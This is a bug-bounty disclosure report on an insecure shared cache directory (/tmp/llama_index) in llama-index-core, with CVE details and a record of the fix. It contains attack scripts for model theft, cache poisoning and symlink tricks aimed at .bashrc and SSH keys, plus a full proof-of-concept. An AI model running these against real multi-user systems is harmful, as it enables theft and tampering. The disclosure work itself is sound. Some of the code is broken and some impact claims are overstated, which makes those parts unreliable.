Insecure Temporary File Handling Vulnerability in llama-index-core in run-llama/llama_index

Valid Reported on Jun 30th 2025

Description

The `get_cache_dir()` function in llama-index-core uses a predictable, hardcoded directory path `/tmp/llama_index` on Linux systems without proper security controls. This vulnerability allows attackers on multi-user systems to steal proprietary models, poison cached embeddings, or conduct symlink attacks. The issue affects all Linux deployments where multiple users share the same system.

Vulnerability Details

Affected Component

- **Package**: llama-index-core
- **Version**: 0.12.44 (latest/current)
- **Package Manager**: pip (PyPI)
- **File**: `https://github.com/run-llama/llama_index/blob/main/llama-index-core/llama_index/core/utils.py
- **Function**: `get_cache_dir()`
- **Line**: 430
- **Affected Versions**: All versions up to and including 0.12.44

Vulnerability Type

- **CWE-379**: Creation of Temporary File in Directory with Insecure Permissions
- **CWE-377**: Insecure Temporary File
- **CWE-367**: Time-of-check Time-of-use (TOCTOU) Race Condition

Vulnerable Code

```
def get_cache_dir() -> str:
    """
    Locate a platform-appropriate cache directory for llama_index,
    and create it if it doesn't yet exist.
    """
    # User override
```

```
    if "LLAMA_INDEX_CACHE_DIR" in os.environ:
        path = Path(os.environ["LLAMA_INDEX_CACHE_DIR"])

    # Linux, Unix, AIX, etc.
    elif os.name == "posix" and sys.platform != "darwin":
        path = Path("/tmp/llama_index")  # VULNERABLE: Predictable path

    # Mac OS
    elif sys.platform == "darwin":
        path = Path(os.path.expanduser("~"), "Library/Caches/llama_index")

    # Windows (hopefully)
    else:
        local = os.environ.get("LOCALAPPDATA", None) or os.path.expanduser(
            "~\\AppData\\Local"
        )
        path = Path(local, "llama_index")

    if not os.path.exists(path):
        os.makedirs(
            path, exist_ok=True
        )  # VULNERABLE: No explicit permissions set
    return str(path)
```

Vulnerability Issues

- **Predictable Path**: Hardcoded `/tmp/llama_index` path is known to attackers
- **Shared Directory**: `/tmp` is world-writable on Linux systems
- **No Permission Control**: Uses default umask which often allows world-readable directories
- **TOCTOU Race Condition**: Gap between `exists()` check and `makedirs()` call
- **No User Isolation**: All users share the same cache directory

What Gets Cached

The cache directory stores sensitive data including:

- **Embedding models** from HuggingFace (potentially proprietary)
- **Tokenizer data**
- **Model weights** downloaded from various sources
- **Cached computations** and intermediate results

Example usage in codebase:

```
# From embeddings/utils.py line 107
cache_folder = os.path.join(get_cache_dir(), "models")
os.makedirs(cache_folder, exist_ok=True)

embed_model = HuggingFaceEmbedding(
    model_name=model_name, cache_folder=cache_folder
)
```

Attack Scenarios

Attack 1: Proprietary Model Theft

Scenario: Company uses expensive proprietary embeddings

```
# Attacker sets up monitoring (as unprivileged user)
$ while true; do
    if [ -d "/tmp/llama_index/models" ]; then
        cp -r /tmp/llama_index/models/* /home/attacker/stolen_models/
    fi
    sleep 1
done

# Victim company runs their application
$ python rag_application.py
# Downloads and caches proprietary embeddings worth $10,000

# Attacker now has copies of all models
$ ls /home/attacker/stolen_models/
proprietary-embed-v2/  company-fine-tuned/  gpt-ada-002/
```

Impact: Direct financial loss from stolen intellectual property

Attack 2: Cache Poisoning

Scenario: Attacker modifies cached embeddings to manipulate search results

```
# attack_poison_cache.py
import os
import numpy as np
import pickle

# Wait for victim to create cache
cache_dir = "/tmp/llama_index/models/text-embedding-ada-002"
os.makedirs(cache_dir, exist_ok=True)

# Create poisoned embeddings that always return specific results
poisoned_embeddings = {
    "safe_query": np.array([0.1] * 1536),  # Normal embedding
    "malicious_site": np.array([0.99] * 1536)  # Always ranks first
}

# Save poisoned model
with open(f"{cache_dir}/model.pkl", "wb") as f:
    pickle.dump(poisoned_embeddings, f)

print("[*] Cache poisoned! Victim will now get manipulated search results")
```

Impact:

- Search results manipulation

- RAG responses corrupted
- Business decisions based on false data

Attack 3: Symlink Attack

Scenario: Attacker escalates privileges via symlink

```
# Attacker creates symlink before victim uses llama_index
$ ln -s /home/victim/.bashrc /tmp/llama_index

# When victim application runs:
# - Tries to create cache directory
# - Follows symlink to victim's .bashrc
# - May overwrite or corrupt shell configuration

# Or target SSH keys:
$ ln -s /home/victim/.ssh/authorized_keys /tmp/llama_index
```

Impact:

- Configuration file corruption
- Potential privilege escalation
- Denial of service

Attack 4: Information Disclosure

Scenario: Monitor competitor's AI usage

```
# monitor_models.py
import os
import time
from pathlib import Path

def monitor_llama_usage():
    watch_dir = Path("/tmp/llama_index")
    seen_models = set()

    while True:
        if watch_dir.exists():
            for model_path in watch_dir.rglob("*"):
                if model_path.is_file() and str(model_path) not in seen_models:
                    seen_models.add(str(model_path))
                    print(f"[+] New model detected: {model_path}")
                    # Extract model info
                    print(f"    Size: {model_path.stat().st_size} bytes")
                    print(f"    Modified: {time.ctime(model_path.stat().st_mtime)}"
        time.sleep(1)

monitor_llama_usage()
```

Impact

Impact:

- Corporate espionage
- Model usage patterns exposed
- Competitive intelligence gathering

Proof of Concept

Complete PoC Script

```
#!/usr/bin/env python3
"""
PoC: Insecure Temporary File Handling in llama-index-core
Demonstrates model theft and cache poisoning attacks
"""

import os
import sys
import stat
import time
import json
from pathlib import Path

def check_vulnerability():
    """Check if system is vulnerable"""
    print("[*] Checking vulnerability...")

    if os.name != "posix" or sys.platform == "darwin":
        print("[!] This PoC only works on Linux systems")
        return False

    # Check if predictable path exists
    vuln_path = Path("/tmp/llama_index")

    if vuln_path.exists():
        stats = os.stat(vuln_path)
        mode = stat.filemode(stats.st_mode)
        print(f"[+] Found {vuln_path} with permissions: {mode}")

        if stats.st_mode & stat.S_IROTH:
            print("[!] Directory is WORLD-READABLE - Models can be stolen!")
        if stats.st_mode & stat.S_IWOTH:
            print("[!] Directory is WORLD-WRITABLE - Cache can be poisoned!")

        return True
    else:
        print(f"[*] {vuln_path} doesn't exist yet")
        print("[*] Attacker can pre-create with malicious permissions")
        return True

def demonstrate_model_theft():
```

```python
    """Demonstrate how models can be stolen"""
    print("\n[*] Model Theft Attack Demo:")

    # Simulate victim creating cache
    victim_cache = Path("/tmp/llama_index/models/private-embeddings")
    victim_cache.mkdir(parents=True, exist_ok=True)

    # Victim saves "proprietary" model
    model_data = {
        "model_name": "company-proprietary-v1",
        "embedding_dim": 1536,
        "training_cost": "$50,000",
        "weights": "base64_encoded_weights_here"
    }

    with open(victim_cache / "model.json", "w") as f:
        json.dump(model_data, f)

    print(f"[+] Victim saved proprietary model to {victim_cache}")

    # Attacker steals it
    if os.access(victim_cache / "model.json", os.R_OK):
        with open(victim_cache / "model.json", "r") as f:
            stolen_data = json.load(f)
        print(f"[!] ATTACKER STOLE MODEL: {stolen_data['model_name']}")
        print(f"[!] Model value: {stolen_data['training_cost']}")
        return True

    return False

def demonstrate_cache_poisoning():
    """Demonstrate cache poisoning attack"""
    print("\n[*] Cache Poisoning Attack Demo:")

    # Create poisoned embedding
    poison_cache = Path("/tmp/llama_index/models/text-embedding-ada-002")
    poison_cache.mkdir(parents=True, exist_ok=True)

    # Poisoned data that will affect search results
    poisoned_data = {
        "vectors": {
            "benign_query": [0.1] * 10,
            "malicious_site.com": [0.99] * 10  # Will always rank first
        },
        "poisoned": True,
        "message": "Your search results are now compromised"
    }

    poison_file = poison_cache / "embeddings.json"
    with open(poison_file, "w") as f:
        json.dump(poisoned_data, f)

    # Make it world-readable so victim will use it
    os.chmod(poison_file, 0o666)

    print(f"[+] Poisoned cache created at {poison_file}")
    print("[!] Victim's search results will now be manipulated!")
```

```
    return True

def demonstrate_race_condition():
    """Demonstrate TOCTOU race condition"""
    print("\n[*] Race Condition (TOCTOU) Demo:")
    print("[*] The vulnerable code has a race between:")
    print("    if not os.path.exists(path):  # CHECK")
    print("        os.makedirs(path)         # USE")
    print("[*] Attacker can create directory with bad permissions in between!")

    # In real attack, this would be timed precisely
    attack_path = Path("/tmp/llama_index_race")

    print(f"[*] Attacker watching for creation of {attack_path}")
    print("[*] Would create with mode 777 before makedirs() call")

    return True

def show_secure_fix():
    """Show the secure implementation"""
    print("\n[*] Secure Fix:")
    print("""
import tempfile
import os

def get_cache_dir() -> str:
    if "LLAMA_INDEX_CACHE_DIR" in os.environ:
        path = Path(os.environ["LLAMA_INDEX_CACHE_DIR"])
    elif os.name == "posix" and sys.platform != "darwin":
        # SECURE: Use tempfile with random suffix and secure permissions
        base_tmp = os.environ.get('TMPDIR', '/tmp')

        # User-specific directory with random component
        secure_dir = tempfile.mkdtemp(
            prefix=f'llama_index_{os.getuid()}_',
            dir=base_tmp
        )
        path = Path(secure_dir)

        # Ensure secure permissions (owner only)
        os.chmod(path, 0o700)
    else:
        # ... other platforms ...

    return str(path)
    """)

def main():
    print("="*60)
    print("Insecure Temporary File Handling PoC - llama-index-core")
    print("="*60)

    # Check vulnerability
    if not check_vulnerability():
        return
```

```
    # Demonstrate attacks
    print("\n[!] Demonstrating attack scenarios...")

    # Model theft
    if demonstrate_model_theft():
        print("[✓] Model theft attack successful!")

    # Cache poisoning
    if demonstrate_cache_poisoning():
        print("[✓] Cache poisoning attack successful!")

    # Race condition
    demonstrate_race_condition()

    # Show fix
    show_secure_fix()

    print("\n[!] Impact Summary:")
    print("    - Proprietary model theft ($$$)")
    print("    - Search result manipulation")
    print("    - Information disclosure")
    print("    - Potential privilege escalation")
    print("="*60)

if __name__ == "__main__":
    main()
```

Real-World Impact

Affected Environments

- **Multi-User Systems**
  - University servers
  - Shared development environments
  - Cloud instances with multiple users
- **Containerized Deployments**
  - Docker containers with shared `/tmp`
  - Kubernetes pods with common volumes
  - CI/CD runners
- **Enterprise Deployments**
  - Shared analytics servers
  - ML platforms with multiple teams
  - Jupyter Hub installations

Financial Impact

- **Model Theft**: Proprietary embeddings worth $10,000-$100,000

- **Competitive Advantage Loss**: Stolen fine-tuned models
- **Data Breach**: Cached sensitive documents exposed
- **Operational Disruption**: Poisoned caches causing incorrect results

Occurrences

utils.py L430

We are processing your report and will contact the **run-llama/llama_index** team within 24 hours. 7 months ago

A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 7 months ago

Massimiliano Pippi validated this vulnerability 6 months ago

Addressing this with https://github.com/run-llama/llama_index/pull/19415

anwarayoob has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

CVE-2025-7647 assigned to this report. 6 months ago

Massimiliano Pippi marked this as fixed in **v0.13.0** with commit **988163** 6 months ago

Massimiliano Pippi has been awarded the fix bounty ✓

utils.py#L430 has been validated ✓

We have notified the **run-llama/llama_index** maintainers about this report in their weekly follow-up 4 months ago

We have sent a warning to the **run-llama/llama_index** team to inform them that this report will be published in 48 hours 4 months ago

This vulnerability has now been published 4 months ago

CVE-2025-7647 has now been published 4 months ago

jbrule commented 3 months ago

This appears to have been fixed in v0.12.50. Our security tools are flagging 0.12.52 as vulnerable but it appears to be patched. Is it possible to get the CVE updated to reflect versions earlier than 0.12.50?

Sign in to join this conversation

CVE
CVE-2025-7647
Published

Vulnerability Type
CWE-378: Creation of Temporary File With Insecure Permissions

Severity
High (7.3)

Attack vector	Local
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	Low

Open in visual CVSS calculator

Registry
Pypi

Affected Version
0.12.44

Visibility
Public

Status
Fixed

Disclosure Bounty
$750

Fix Bounty
$187.5

Found by

Anwar
@anwarayoob
MIDDLEWEIGHT

Fixed by

Massimiliano Pippi

@masci

UNPROVEN

Supported by Palo Alto Networks and Prisma AIRS, leading the way to greater AI security.

